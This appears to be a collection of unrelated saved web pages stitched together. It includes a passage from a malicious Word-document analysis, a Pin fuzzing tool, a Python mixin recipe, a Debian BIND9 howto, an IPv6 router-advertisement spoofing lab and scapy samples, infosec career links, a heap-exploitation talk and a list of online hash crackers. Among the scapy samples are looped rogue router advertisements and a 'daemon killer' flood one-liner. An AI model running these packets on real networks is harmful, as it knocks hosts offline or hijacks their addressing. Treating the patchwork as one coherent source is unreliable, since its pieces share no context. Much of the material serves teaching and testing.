\(for more informations on doc specific format **MS-DOC.pdf**\)  
  
Second and last evidence:  
  

<img src='img/Temp2_2780.jpg' width='400' height='132' />

  
  
As you can see **SmartTag pointer is non Zero** , this confirm that our
samples implements a CVE-2006-2492.  
  
Also in this case we have a classical shellcode and suspect APIs like
LoadLibraryA, GetProcAddress etc.  
  
I wanted to report this sample, that could soud pretty similar to the previous
one, just because as you have seen presents a complex structure \(this is one
of the most complex malformations\) but now it's just a matter of minutes to
know where to look for \(yeah OffVis reveals this CVE, but as I say alway it's
better to understand what really happens\).  
  
The encrypted case, thanks to the various tools \(OfficeMalScanner,
pyOleScanner\) is no longer and more complex case, so we can move on.  
  

\_\_**Some word about approaches based on Statistics and Cryptanalysis** \_\_

  
This is just an introduction to the argument, because my time is off and the
argument will be presented in depth in next days with another blog post.  
  
Like every other binary file, we can use Cryptanalysis to reveal foreign
bodies, simply by watching how changes the plot that represent the Floating
Frequency, here a screenshot taken on fly to show what are differences between
infected and clean doc samples:  
  

<img src='img/Temp2_2787.jpg' width='640' height='360' />

  
  
In some day the next episode.. :\)  
  
Thanks to **Mila** from **ContagioDump** that provided samples.  
Take also a look to **Bruce Dang slides** => **Methods for Understanding and
Analyzing Targeted Attacks with Office Documents**  
  
  
See you to the next post,  
Giuseppe 'Evilcry' Bonfa

# shell-storm | In-Memory fuzzing with Pin
**Created:**| _8/20/2013 6:03:43 PM_  
---|---  
**Updated:**| _8/20/2013 6:03:43 PM_  
**Author:**| __  
**Tags:**| _Fuzzer Memory corruptions fuzzing_  
  

# **I** n-Memory fuzzing with Pin****

by Jonathan Salwan  \- 2013-08-17

* * *
In my previous blog post , I talked about the taint analysis and the pattern
matching with Pin**.** In this short post, I will always talk about Pin, but
this time about the In-Memory fuzzing**.**

#### 1 - In-Memory fuzzing****

##### 1.1 - Little introduction****

In-Memory fuzzing is a technique which consists to target and test a specific
basic block, function or portion of a program**.** To be honest, this
technique is not really satisfactory over a large portion of code, this is
mainly used for a quick analysis**.** However it's really straightforward to
implement it**.**

For that, we just need to :

  1. Choose a targeted piece of code**.**
  2. Set a breakpoint before and after our targeted area**.**
  3. Save the execution context when the first breakpoint occurs**.**
  4. Restore the execution context when the second breakpoint occurs**.**
  5. Catch the SIGSEGV signal.
  6. Repeat the operation 3 and 4 until the crash occurs**.**

<img src='img/Temp2_10641.png' alt='In-Memory fuzzing' />

##### 1.2 - Little example****

For a little example, see the following graph**.** Now, imagine that the user
can control the first argument, that means he can control the **rdi** register
in the first basic block and **\[rbp+var\_4\]** in this stack frame**.** In
this case, we are interested to test the orange basic block**.** As you can
see below, in the orange basic block we have a "**mov eax, \[rbp+var\_4\]** ",
that means we can control the **eax** register**.** So, we will apply the In-
Memory fuzzing technique in this basic block between the "**cdqe** " and
"**mov eax, 0** " instructions and we will fuzz the **eax** register**.**

<img src='img/Temp2_10642.png' alt='BBLs' />

#### Use the Pin API****

The Pin API provides all what we need to apply the In-Memory fuzzing
technique**.** To catch the signals, we use the PIN\_InterceptSignal\(\)
function**.** This function takes the type of signal and a callback**.** So,
to catch the **SIGSEGV** signal, in our main function we have something like
that:

[code]

    PIN_InterceptSignal(SIGSEGV, catchSignal, 0);
    
[/code]

Our call back **catchSignal** , displays just the current context when the
signal occurs**.**

Then, because Pin is a DBI framework \(Dynamic Binary Instrumentation\), we
can't set a breakpoint, but that's not really important**.** With a DBI
framework we can control each instruction before and after their
execution**.** So, we will use the PIN\_SaveContext\(\) and PIN\_ExecuteAt\(\)
functions when the first and last targeted instruction occurs**.**

A CONTEXT  in Pin, is just the registers state of the processor**.** That
means, when you call **PIN\_SaveContext\(\)** , you save only the state of
registers, not the memory**.** So, to monitor the STORE access, we use the
INS\_MemoryOperandIsWritten\(\) function**.** When a STORE occurs, we save the
original value and we restore it when the context is restored**.**

That's all, we can see the full source code here **.**

#### In-Memory fuzzing Pin tool****

This Pin tool requires three arguments and can take three optional
arguments**.**

[code]

    Required
    --------
      -start          <address>               The start address of the fuzzing area
      -end            <address>               The end address of the fuzzing area
      -reg            <register>              The register which will be fuzzed
    
    Optional
    --------
      -startValue     <value>                 The start value
      -maxValue       <value>                 The end value
      -fuzzingType    <"inc" | "random">      Type of fuzzing: incremental or random
    
[/code]

If we take the above example and that we want to fuzz the orange basic block,
we have something like that:

[code]

    $ time pin -t **.** /InMemoryFuzzing.so -start 0x4005a5 -end 0x4005bb -reg rax -fuzzingType inc \
    -startValue 1 -maxValue 0x3000 -- **.** /test 1 > dump
    [2] 8472 segmentation fault
    
    0.53s user 0**.** 20s system 99% cpu 0.729 total
    
[/code]

I used the "time" command to show you how Pin is efficient - I've also
redirected stdout in a file called 'dump ' because of the output log size
\(5**.** 5M\). At the end of this dump, you can see the context when the
SIGSEGV occurs - Current RIP = 0x4005a5 "**movzx eax, byte ptr \[rax\]** "
with RAX = **0x2420****.**

[code]

    [Restore Context]
    [Save Context]
    [CONTEXT]=----------------------------------------------------------
    RAX = 0000000000002420 RBX = 0000000000000000 RCX = 00007fff3134c168
    RDX = 00007fff3134abe0 RDI = 0000000000000001 RSI = 00007fff3134abe0
    RBP = 00007fff3134abc0 RSP = 00007fff3134abb0 RIP = 00000000004005a5
    +-------------------------------------------------------------------
    +--> 4005a5: cdqe
    +--> 4005a7: add rax, qword ptr [rbp-0x10]
    +--> 4005ab: movzx eax, byte ptr [rax]
    
    
    /**!** \ SIGSEGV received /!\
    [SIGSGV]=----------------------------------------------------------
    RAX = 00007fff3134d000 RBX = 0000000000000000 RCX = 00007fff3134c168
    RDX = 00007fff3134abe0 RDI = 0000000000000001 RSI = 00007fff3134abe0
    RBP = 00007fff3134abc0 RSP = 00007fff3134abb0 RIP = 00000000004005ab
    +-------------------------------------------------------------------
    
[/code]

You can download this Pin tool here **.**

****

# Mixins For Python

**Created:**| _5/31/2011 10:05:49 PM_  
---|---  
**Updated:**| _6/1/2011 11:03:50 AM_  
**Author:**| __  
**Tags:**| _ruby python oop_  
  

# Mixins For Python

Recipe for MixIns in PythonLanguage which allows in-place runtime mixing and
unmixing. As a bonus, there is a 'functional-style' mixin function, which
preserves the base class. def mixIn \(base, addition\):

[code]

        """Mixes in place, i.e. the base class is modified.
        Tags the class with a list of names of mixed members.
        """
        assert not hasattr(base, '_mixed_')
        mixed = []
        for item, val in addition.__dict__.items():
            if not hasattr(base, item):
                setattr(base, item, val)
                mixed.append (item)
        base._mixed_ = mixed
    
    
    
    
[/code]

def unMix \(cla\):

[code]

        """Undoes the effect of a mixin on a class. Removes all attributes that
        were mixed in -- so even if they have been redefined, they will be
        removed.
        """
        for m in cla._mixed_: #_mixed_ must exist, or there was no mixin
            delattr(cla, m)
        del cla._mixed_
    
    
    
    
[/code]

def mixedIn \(base, addition\):

[code]

        """Same as mixIn, but returns a new class instead of modifying
        the base.
        """
        class newClass: pass
        newClass.__dict__ = base.__dict__.copy()
        mixIn (newClass, addition)
        return newClass
    
    
    
[/code]

* * *
Old recipe

[code]

     def mixin (existingClass, mixinClass):
            for item, val in mixinClass.__dict__.items():
                    if not hasattr(existingclass, item):
                            setattr(existingclass, item, val)
    
    
    
[/code]

This copies not just functions, but any class members. Example usage:

[code]

     class addSubMixin:
            def add(self, value):
                    return self.number + value
    
            def subtract(self, value):
                    return self.number - value
    
    
     class myClass:
            def __init__(self, number):
                    self.number = number
    
    
    
[/code]

Then, at runtime, you can mix any class into any other with:

[code]

     mixin(myClass, addSubMixin)
     myInstance = myClass(4)
     myInstance.add(2)
     myInstance.subtract(2)
    
    
    
    
[/code]

* * *
why not do it like this:

[code]

     class myClass(myClass, myMixin)
       pass
    
[/code]

# DNS Installation and Setup using BIND9 - Debian Wiki

**Created:**| _2/22/2010 12:06:26 PM_  
---|---  
**Updated:**| _2/22/2010 12:06:26 PM_  
**Author:**| __  
**Tags:**| __  
  

DNS Installation and Setup using BIND9

  * Page
  *   * Discussion
  *   * View source
  *   * History

## Contents

\[hide\]

  * 1 Introduction
  * 2 Requirements
  * 3 Pre-Installation
  * 4 Installing lsb-base and BIND9
  * 5 Configure the Master DNS Server
  * 6 Setting up the example.com domain
    * 6.1 Creating the zone files
    * 6.2 Making sure all is OK
    * 6.3 Adding zone files to BIND9
  * 7 Testing
  * 8 Troubleshooting
  * 9 TODO Items
  * 10 References

  
---  
## Introduction

This HOWTO will assist you in getting a Domain Name Server \(DNS\) up and
running using BIND9 on Debian Etch. When setting up a DNS server it is common
practise to use two separate DNS servers for a domain as you are required to
have at least two DNS servers running for DNS to work correctly. If one
breaks, the other can continue to serve your domain.

However, when I setup my DNS system I did not have the resources on hand to
use two different servers for DNS so the setup below will configure one server
to run both nameservers. It's not an ideal solution and is definitely not a
best-practise solution but one can only work with what you have.

In this HOWTO I will use the fictional domain "example.com". The nameservers
will use 192.168.254.1 and 192.168.254.2 as their IP addresses. Both the
domain and namerserver IPs need to be changed to reflect your server.

## Requirements

  * A Debian Etch base installation - Installation HOWTO here.
  * At least two static IP addresses that you can use to setup the nameserver information.
  * Root access to your server.

## Pre-Installation

Before proceeding to install, update the necessary packages in Debian with
this command.

[code]

    apt-get update
    apt-get upgrade
    
    
[/code]

## Installing lsb-base and BIND9

To continue we need some Debian building tools since we have to download
source packages:

[code]

    apt-get install devscripts
    
    
[/code]

BIND9 depends on lsb-base from testing. Lets grab it: \(Syntax explanation:
the -y tells apt to say yes to all questions, build-dep installs all packages
required for -testing\_packageX- from the Etch repository and with -b the
source gets built straight away.\)

[code]

    mkdir /usr/local/lsb-base/
    cd /usr/local/lsb-base/
    apt-get -y build-dep lsb-base
    apt-get source lsb-base -b
    dpkg-i lsb-base*.deb
    
    
[/code]

Next is BIND9:

[code]

    mkdir /usr/local/bind9
    cd /usr/local/bind9
    apt-get -y build-dep bind9
    apt-get source bind9 -b
    dpkg -i *.deb
    
    
[/code]

## Configure the Master DNS Server

First we need to stop BIND9:

[code]

    /etc/init.d/bind9 stop
    
    
[/code]

In order to chroot bind we need to set an option in /etc/default/bind9.

Locate this in /etc/default/bind9:

[code]

    OPTIONS="-u bind"
    
    
[/code]

Replace it with this:

[code]

    OPTIONS="-u bind -t /var/lib/named"
    
    
[/code]

It will now run as user 'bind' chrooted in '/var/lib/named'.

These steps are required for the chroot jail:

[code]

    mkdir -p /var/lib/named/etc
    mkdir /var/lib/named/dev
    mkdir -p /var/lib/named/var/cache/bind
    mkdir -p /var/lib/named/var/run/bind/run
    mv /etc/bind /var/lib/named/etc
    ln -s /var/lib/named/etc/bind /etc/bind
    mknod /var/lib/named/dev/null c 1 3
    mknod /var/lib/named/dev/random c 1 8
    chmod 666 /var/lib/named/dev/*
    chown -R bind:bind /var/lib/named/var/*
    chown -R bind:bind /var/lib/named/etc/bind
    
    
[/code]

Bind now has its own dir with space for .pid files and config files. In order
to keep things clear we made a symlink back to /etc/.

Now edit /etc/init.d/sysklogd to allow logging of bind activity. Replace this:

[code]

    SYSLOGD=""
    
    
[/code]

With this:

[code]

    SYSLOGD="-a /var/lib/named/dev/log"
    
    
[/code]

Now restart sysklogd and BIND9:

[code]

    /etc/init.d/sysklogd restart
    /etc/init.d/bind9 start
    
    
[/code]

And test:

[code]

    ping www.grabble.co.za
    
    
[/code]

If you get a reply, then your DNS master server is working and ready to use.
We will now complete and use the example.com domain with our new master
server.

## Setting up the example.com domain

The new master DNS server is currently just forwarding requests to the server
of your ISP. So, we will now install and configure our own domain and let our
new server handle all request regarding that domain.

Example.com has been chosen for illustrative purposes as per the RFC 2606 \-
see this Wikipedia Example.com article for more information.

### Creating the zone files

Lets start with creating the directory where we will store the zone file. This
file contains all info about the domain.

[code]

    mkdir /etc/bind/zones/master/
    
    
[/code]

Next we will create the zones file:

[code]

    vim /etc/bind/zones/master/example.com.db
    
    
[/code]

Add the following \(obviously replacing example.com and 192.168.254.1 with
your own details\):

[code]

    ;
    ; BIND data file for example.com
    ;
    $TTL    604800
    @       IN      SOA     ns1.example.com. info.example.com. (
                                2007011501         ; Serial
                                      7200         ; Refresh
                                       120         ; Retry
                                   2419200         ; Expire
                                    604800)        ; Default TTL
    ;
    @       IN      NS      ns1.example.com.
    @       IN      NS      ns2.example.com.
    example.com.    IN      MX      10      mail.example.com.
    example.com.    IN      A       192.168.254.1
    ns1                     IN      A       192.168.254.1
    ns2                     IN      A       192.168.254.2
    www                     IN      CNAME   example.com.
    mail                    IN      A       192.168.254.1
    ftp                     IN      CNAME   example.com.
    example.com.            IN      TXT     "v=spf1 ip4:192.168.254.1 a mx ~all"
    mail                    IN      TXT     "v=spf1 a -all"
    
    
[/code]

Here we have created a DNS zone file with both nameservers as well as records
for the mail and ftp server for the domain example.com. Trying to go into more
detail about what each item reflects above is beyond the scope of this HOWTO
and you should do your own research into what each item means.

In South Africa registering domain names with the .co.za extension requires
that Reverse DNS \(RDNS\) is setup correctly. Other TLD's don't necessarily
require RDNS but either way it's good practise to setup RDNS for your DNS
server so we'll do so now.

Create a new file called 192.168.254.rev which follows the convention of the
first three IP ranges in your IP address

[code]

    vim /etc/bind/zones/master/192.168.254.rev
    
    
[/code]

Add the following:

[code]

    $TTL 1d ;
    $ORIGIN 254.168.192.IN-ADDR.ARPA.
    @       IN      SOA     ns1.example.com.   info.example.com. (
                                           2007011501
                                           7200
                                           120
                                           2419200
                                           604800
    )
            IN      NS      ns1.example.com.
            IN      NS      ns2.example.com.
    1       IN      PTR     ns1.example.com.
    2       IN      PTR     ns2.example.com.
    
    
[/code]

The reverse lookup files are almost identical to the domain zone files with
only minor changes. The first section of this file is exactly the same as the
first section of the domain zone file. The bottom section is where it is
different. This time we are listing the last part of the IP address first and
then the hostname last.

There are 2 things you must notice here. You have to use the fully qualified
domain name here and you must put a "." at the end of it. These 2 things are
important to the file and weird things will happen if you don't do it this
way.

You must also change the $ORIGIN section at the top of the RDNS file to
reflect the reverse IP address of your server. In this example our IP address
ranges are 192.168.254.1/2 and the reverse of this would be 254.168.192.IN-
ADDR.ARPA. In the PTR records at the bottom we assign the final IP range to
reflect our two nameservers - i.e. 1 & 2\.

### Making sure all is OK

Now that we've created both zone and reverse files we need to check that our
main zone file is good to go. BIND9 breaks very easily so it's best to run
this check before committing your changes.

[code]

    cd /etc/bind/zones/master/
    named-checkzone example.com example.com.db
    
    
[/code]

You should get an OK status when doing this. If not you need to double-check
your zone file and make changes until you get an OK status.

### Adding zone files to BIND9

We now need to add the zone file data to the named.conf.local file:

[code]

    vim /etc/bind/named.conf.local
    
    
[/code]

And add the following to the file:

[code]

    zone "example.com" {
           type master;
           file "/etc/bind/zones/master/example.com.db";
    };
    
    zone "254.168.192.IN-ADDR.ARPA" {
           type master;
           file "/etc/bind/zones/master/192.168.254.rev";
    };
    
    
[/code]

## Testing

We can now restart bind and check if it works:

[code]

    /etc/init.d/bind9 restart
    ping ns1.example.com
    
    
[/code]

This should bring bring up a ping result resolving to 192.168.254.1

Try another test:

[code]

    nslookup
    ns1.example.com
    
    
[/code]

Should give you 192.168.254.1

Finally run this one:

[code]

    dig @localhost example.com
    
    
[/code]

If all is OK then you'll be presented with the zone file information.

At this stage you now have a working and usable DNS server.

## Troubleshooting

If you're wondering why updates to the zone file on your master seem to fail,
check the serial number inside the zone file. Each time you make a change to
the zone file you will need to increase the Serial number in the zone file to
ensure that your latest changes are updated.

The serial is setup and structured as follows:

[code]

    2007011501 = (2007)(01)(15)(01)
    First 4 digits of the serial indicate the year - i.e. 2007
    Next 2 digits of the serial indicate the month - i.e. 01 (January)
    Next 2 digits of the serial indicate the date - i.e. 15
    The final 2 digits of the serial indicate the revision number for that day - i.e. 01
    
    
[/code]

If you are updating your Serial number but your changes are not being
reflected I recommend that you reload your BIND data by executing the
following command in a Linux shell:

[code]

    rndc reload
    
    
[/code]

If you are running BIND on two different servers you will need to install
ntpdate on both servers to ensure that zone transfers happen correctly. Both
master and slave servers need to have the exact same time setting for zone
transfers to take place:

[code]

    apt-get -y install ntpdate
    
    
[/code]

## TODO Items

  * Want to add another section for setting up the slave server. While I don't use this on my particular server it might be nice to show people how to do this.
  * Need to expand on the troubleshooting section.

## References

Debian GNU/Linux Network Administrator's Manual - Chapter 8 DNS/BIND

Debian Sarge Installing A Bind9 Master/Slave DNS System \- by harm

Two-in-one DNS server with BIND9 \- by pupeno

Building A Debian DNS System \- by joe

# Project 9x: Router Advertisements with scapy \(20 pts.\)

**Created:**| _3/30/2011 5:53:48 AM_  
---|---  
**Updated:**| _3/30/2011 5:54:27 AM_  
**Author:**| __  
**Tags:**| _python scripting programming ipv6_  
  

# Project 9x: Router Advertisements with scapy \(20 pts.\)

## What you need

  * A Linux machine, real or virtual, with scapy installed. I used a BackTrack 4 R2 virtual machine.
  * A Windows 7 machine. It does not need to have the googo6 client.
  * The machines need to be on the same LAN. It does not need to be isolated from other machines--this project is not dangerous, as far as I know.

## Finding your Linux Machine's MAC Address

On the Linux machine, in a Terminal window, execute this command:

> `**ifconfig**`
Find the **HWaddr** value, which is highlighted in the figure below on this
page. Record this value--you will need it later.

<img src='img/Temp2_6431.png' />

## Starting scapy

On the Linux machine, use this command to start scapy:

> `**sudo scapy**`
## Sending a Router Advertisement with scapy

### Creating an IPv6 Object

In the Linux machine, in the Terminal window, at the >>> prompt, execute these
commands to create an IPv6 packet and examine it:

> `**a = IPv6()**`
> `**a.dst = "ff02::1"**`
> `**a.display()**`
Your IPv6 object should now have both the **src** and **dst** fields filled
in, as shown below on this page:

<img src='img/Temp2_6436.png' />

### Creating an ICMPv6 Router Advertisement Object

In the Linux machine, in the Terminal window, at the >>> prompt, execute these
commands:

> `**b = ICMPv6ND_RA()**`
> `**b.display()**`
Your ICMPv6 Router Advertisement object should have a **type** of **Router
Advertisement** , as shown below on this page:

<img src='img/Temp2_6437.png' />

### Specifying the Source Link-Layer Address

In the Linux machine, in the Terminal window, at the >>> prompt, execute these
commands. In the second command below, replace the value shown with the
**HWaddr** value you found with the **ifconfig** command at the start of this
project:

> `**c = ICMPv6NDOptSrcLLAddr()**`
> `**c.lladdr = "00:50:56:24:3b:c0"**`
> `**c.display()**`
The **lladdr** value should match your **HWaddr** , as shown below on this
page:

<img src='img/Temp2_6430.png' />

### Specifying the Maximum Transfer Unit

In the Linux machine, in the Terminal window, at the >>> prompt, execute these
commands:

> `**d = ICMPv6NDOptMTU()**`
> `**d.display()**`
The **mtu** value should be 1280, as shown below on this page:

<img src='img/Temp2_6432.png' />

### Specifying the Advertised Prefix

In the Linux machine, in the Terminal window, at the >>> prompt, execute these
commands:

> `**e = ICMPv6NDOptPrefixInfo()**`
> `**e.prefixlen = 64**`
> `**e.prefix = "cc5f::"**`
> `**e.display()**`
The **prefixlen** and **prefix** values should be correct, as shown below on
this page:

<img src='img/Temp2_6433.png' />

### Starting Wireshark

In the Linux machine, open a new Terminal window. In the new Terminal window,
execute this command:

> `**wireshark**`
In the Wireshark window, click **Capture** , **Interfaces**. In the **eth0**
line, click the **Start** button. \(If you are using Ubuntu, it may be the
**eth1** line instead.\)

### Sending a Router Advertisement Packet

In the Linux machine, in the Terminal window, at the >>> prompt, execute this
command:

> `**send(a/b/c/d/e)**`
You should see a message saying "Sent 1 packets".

The Wireshark window should show the Router Advertisement packet. Click it in
the upper pane to select it, and expand the middle pane so the **Prefix:
cc5f::** information is visible, as shown below on this page:

<img src='img/Temp2_6435.png' />

## Saving the Screen Image

Make sure you can see **Prefix: cc5f::** in the Wireshark window.

Save a screen image with the filename **Proj 9xa from Your Name**.

## Viewing the Autoconfigured Address on the Windows Machine

On the Windows 7 machine, in a Command Prompt, execute the **IPCONFIG**
command. You should see an automatically configured IPv6 address starting with
the **cc5f::** prefix, as shown below on this page:

<img src='img/Temp2_6434.png' />

## Saving the Screen Image

Make sure you can see IPv6 address starting with the **cc5f::** prefix on the
Windows machine.

Save a screen image with the filename **Proj 9xb from Your Name**.

## Turning in Your Project

Email the images to **cnit.124@gmail.com** with a Subject line of **Proj 9x
from Your Name**.

* * *
| **my IPv6 Scapy Samples**  
---  
for testing IPv6 enviroments and devices  
  
  
| **IPv6 ICMP**  
---  
icmp ipv6 request

[code]

           
            i=IPv6()
            i.dst="2001:db8:dead::1"
            q=ICMPv6EchoRequest()
            p=(i/q)
            sr1(p)
    
    
[/code]

ipv6 source route packets

[code]

     i=IPv6()
            i.dst="2001:db8:dead::1"
            h=IPv6ExtHdrRouting()
            h.addresses=["2001:db8:dead::1","2001:db8:dead::1","2001:db8:dead::1"]
            p=ICMPv6EchoRequest()
            pa=(i/h/p)
    
    
[/code]

Routing Header Example

[code]

        a = sr1(IPv6(dst="2001:4f8:4:7:2e0:81ff:fe52:9a6b")/ \
            IPv6ExtHdrRouting(addresses=["2001:78:1:32::1", "2001:20:82:203:fea5:385"])/ \
            ICMPv6EchoRequest(data=RandString(7)), verbose=0)
            a.src
    
    
[/code]

Traceroute

[code]

            waypoint = "2001:301:0:8002:203:47ff:fea5:3085"
            target = "2001:5f9:4:7:2e0:81ff:fe52:9a6b"
            traceroute6(waypoint, minttl=15 ,maxttl=34,l4=IPv6ExtHdrRouting(addresses=[target])/ICMPv6EchoRequest(data=RandString(7)))
    
    
[/code]

Current high score \(not tested\)

[code]

          addr1 = "2001:4830:ff:12ea::2"
          addr2 = "2001:360:1:10::2"
          zz=time.time();
          a=sr1(IPv6(dst=addr2, hlim=255)/IPv6ExtHdrRouting(addresses=[addr1, addr2]*43)/ICMPv6EchoRequest(data="staythere"), verbose=0, timeout=80);
          print "%.2f seconds" % (time.time() - zz)
    
    
[/code]

ipv6 NA \(version 1\)

[code]

           sendp(Ether()/IPv6()/ICMPv6ND_RA()/ ICMPv6NDOptPrefixInfo(prefix="2001:db8:cafe:deca::", prefixlen=64)/ ICMPv6NDOptSrcLLAddr(lladdr="00:b0:de:ad:be:ef"), loop=1, inter=3)
    
    
[/code]

ipv6 NA \(version 2\)

[code]

           a=IPv6(nh=58, src='fe80::214:f2ff:fe07:af0', dst='ff02::1', version=6L, hlim=255, plen=64, fl=0L, tc=224L)
            b=ICMPv6ND_RA(code=0, chlim=64, H=0L, M=0L, O=0L, routerlifetime=1800, P=0L, retranstimer=0, prf=0L, res=0L, reachabletime=0, type=134)
            c=ICMPv6NDOptSrcLLAddr(type=1, len=1, lladdr='00:14:f2:07:0a:f1')
            d=ICMPv6NDOptMTU(res=0, type=5, len=1, mtu=1500)
            e=ICMPv6NDOptPrefixInfo(A=1L, res2=0, res1=0L, L=1L, len=4, prefix='2001:db99:dead::', R=0L, validlifetime=2592000, prefixlen=64, preferredlifetime=604800, type=3)
            send(a/b/c/d/e)
    
    
[/code]

The one line Router Advertisement daemon killer

[code]

       send(IPv6(src=server)/ICMPv6ND_RA(routerlifetime=0), loop=1, inter=1)
    
    
[/code]

Test1

[code]

         someaddr=["2001:6c8:6:4::7", "2001:500::1035", "2001:1ba0:0:4::1",
            "2001:2f0:104:1:2e0:18ff:fea8:16f5", "2001:e40:100:207::2",
            "2001:7f8:2:1::18", "2001:4f8:0:2::e", "2001:4f8:0:2::d"]
            
            for addr in someaddr: 
              a = sr1(IPv6(dst=addr)/ICMPv6NIQueryName(data=addr), verbose=0)
              print a.sprintf( "%-35s,src%: %data%")
    
    
[/code]

Test2

[code]

         someaddr=["2001:6c8:6:4::7", "2001:500::1035", "2001:1ba0:0:4::1",
            "2001:2f0:104:1:2e0:18ff:fea8:16f5", "2001:e40:100:207::2",
            "2001:7f8:2:1::18", "2001:4f8:0:2::e", "2001:4f8:0:2::d"]
            
            for addr in someaddr: 
              a = sr1(IPv6(dst="ff02::1")/ICMPv6NIQueryName(data="ff02::1"))
              print a.sprintf( "%data%")
    
    
[/code]  
  
| **IPv6 Scapy 3 Way**  
---  
Creating a IPv6 3 Way Handshake  
  
Step 1.  
trun off the RST Packets from the Kernel, because no listen Port on the Source
Port. \(Scapy is not unsing RAW Socket\)  
iptables -A OUTPUT -p tcp --tcp-flags RST RST -d \{dest IP\} -j DROP  
Step 2.  
Send th SYN Packet with scapy and fetch the answer.  

[code]

      ip=IPv6(dst="2001:db8:0:1:207:3fff:fe68:df44")
            TCP_SYN=TCP(sport=1500, dport=80, flags="S", seq=100)           
            TCP_SYNACK=sr1(ip/TCP_SYN)
    
    
[/code]

Step 3.  
Send the ACK Packet with scapy  

[code]

          my_ack = TCP_SYNACK.seq + 1
            TCP_ACK=TCP(sport=1500, dport=80, flags="A", seq=101, ack=my_ack)
            send(ip/TCP_ACK)
    
    
[/code]

Step 4.  
Check the client with netstat -na  
  
\(c\) 2009 by packetlevel.ch / last update: 15.11.2009  

# MattJay Security

**Created:**| _5/31/2009 8:00:34 PM_  
---|---  
**Updated:**| _5/31/2009 8:00:41 PM_  
**Author:**| __  
**Tags:**| _career_  
  

## A lot of Information Security Career Advice

May 19th, 2009

3 Comments

<img src='img/Temp2_5262.jpg' width='214' height='300' alt='careerchoice'
/>For the past few months I’ve received tons of advice from a lot of
established Information Security professionals on how I could get my foot in
the door and start on my career path. I thought it would be useful to compile
a list of links from all the different sources I’ve been sent to for such
advice. I think you’ll see a few motifs throughout <img
src='img/Temp2_5261.jpg' alt=';)' />

One of the very firsts I read on this and I think me badgering him for help
inspired him to write it comes from Kees Leune:  
Tips for getting started

From here on out I’m just going to post as I think of them so this is no
particular chronological order.  
James Arlen \(myrcurial\) has also been of more help to me than I can
emphasize and his talk at Last Hope was one of the earlier proverbial fires
under my ass. Here is a link to his follow up to that talk at Notacon 6:
BlackHat to BlackSuit - Econopocalypse Now:  
Vimeo - BlackHat to BlackSuit

A more recent post was by a security professional named Bill Pennington over
at the Security Catalyst blog. A two part post directly from a hiring manager
is invaluable advice:

Career Advice part 1  
Career Advice part 2

An absolutely awesome resource that is very young but is unbelievable for the
community is DojoSec. Marcus J Carey has set up monthly briefings in the DC
area that are for all intensive purposes mini-cons. If your not from the area
make sure you pay attention to when they are because there are some live
streams on their website where you can watch all of these amazing
presentations free of charge.  
I’m bringing this up mostly because of a presentation a month of so ago by Rob
Fuller \(mubix\) titled How to go from the couch to a job in 80 hours. I was
lucky enough to catch this streaming online and even got to ask Rob a question
via Twitter at the end of the preso:  
Vimeo - Mubix

**Update:** Another great listen is a recent Exotic Liability podcast that
talks about a ton of great advice about starting on different paths while
talking on the phone with a college student who called in:  
Exotic Liability Podcast - Advice  
\(Thanks for the reminder Chris\!\)

Another recent post comes from Paul at Pauldotcom and does a really good job
at summing up some of the key topics and common themes through out all of
these posts:  
Getting started in Information Security

Some other interesting links you might be interested in checking out would be
anything in the area of expanding your knowledge. Here in no particular order
are some links that I have used to help polish up my skill set and soak up
other useful information along the way.

This post was floating around recently and is 100 different open courses
useful in information security. I’m going to go ahead and equate it to the 77
books in the personal MBA list but for Information Security professionals:  
100 open courses

These next group are just tips on free online college level education courses
that we all can find use out of:  
LifeHacker - Get a free college education  
TeachMate  
Academic Earth

I’m going to finish up with some advice of my own. Even though I’m still very
young and just starting on this long and glorious path I know that I would be
miles behind where I am now without following all of the advice I have been
given. I’m not somebody who “settles” for whatever falls in my lap and if that
is what you are then stick to the job boards.

The most important piece of advice I can offer is to be involved in the
community as much as you can. There are a ton of people in the community who
are very passionate about it and are more than willing to help in whatever
ways they can. The easiest ways to get to know all of them is through Twitter
and going to cons. Security Twits list is the one of the most valuable
resources on the net for infosec people and I don’t know where I’d be without
the friends that I’ve made through it.

**Update:** I know I’m forgetting resources, these are just the ones that
stuck out off the top of my head so please feel free to leave any additional
resources as comments.

# census | Heap Exploitation Abstraction by Example - OWASP AppSec Research 2012
**Created:**| _8/26/2012 8:33:01 PM_  
---|---  
**Updated:**| _8/26/2012 8:33:01 PM_  
**Author:**| __  
**Tags:**| _Graphs analysis Heap_  
  

## Heap Exploitation Abstraction by Example — OWASP AppSec Research 2012

\[ posted by argp on 17.08.2012 \]  
  

This year’s OWASP AppSec Research conference took place in Athens, Greece and
we were planning to be there as participants. However, the day before the
conference, Konstantinos Papapanagiotou \(General Chair\) asked if we could do
a presentation to replace a cancelled talk. Myself and Chariton Karamitas
agreed to help and spend around three hours preparing a talk on heap
exploitation abstraction, a subject dear to us.

<img src='img/heap_weird_machine.png' width='500' />

Our talk was titled “Heap Exploitation Abstraction by Example” and was divided
into two main parts. In the first part we focused on presenting examples of
exploiting heap managers. Specifically, we talked about attacking the FreeBSD
kernel allocator \(UMA\), the Linux kernel allocator \(SLUB\) and the jemalloc
userland allocator.

In the second part we started by finding the common elements of these three
allocators and categorizing them into the following:

  * End-user allocations
  * Allocation containers
  * Container groupings
  * Execution-specific \(thread, CPU core\) metadata

We then proceeded to make an argument that the value of abstracting heap
exploitation is in having a library of attack techniques, or _primitives_ ,
that can be reused on other allocators. We took the concept of _weird
machines_ as defined by Sergey Bratus and Halvar Flake and applied it to heap
managers. Briefly, we consider an allocator to be a deterministic automaton.
Metadata corruption attacks can then be viewed as corruptions of the
automaton’s transition function. Application-specific attacks, like adjacent
memory region corruptions, can be viewed as manipulations of the automaton’s
determinacy.

Please consider this as our early attempt on abstracting heap exploitation
\(also that it was put together in three hours\) and expect more work on the
subject from us.

Presentation Material

  * Slides \(pdf\)

Thanks to: Sergey Bratus and Halvar Flake for the weird machine concept; Chris
Valasek, Dimitris Glynos and Yiorgos Adamopoulos for interesting discussions
on exploitation abstraction; Konstantinos Papapanagiotou for inviting us to
replace the cancelled talk.

tags: abstraction, conference, exploitation, heap, owasp, talk

# Mubix's Links: Huge List of Online Crackers

**Created:**| _5/16/2009 10:21:15 AM_  
---|---  
**Updated:**| _5/16/2009 10:21:28 AM_  
**Author:**| __  
**Tags:**| _crackers hash_  
  

### Huge List of Online Crackers

Don't know if all of these are online still or not:  
SOURCE:\(http://blackhat.ge/?page\_id=29\)  
  
http://www.milw0rm.com/cracker/  
http://www.plain-text.info/add/  
http://www.securitystats.com/tools/hashcrack.php  
http://www.passcrack.spb.ru/  
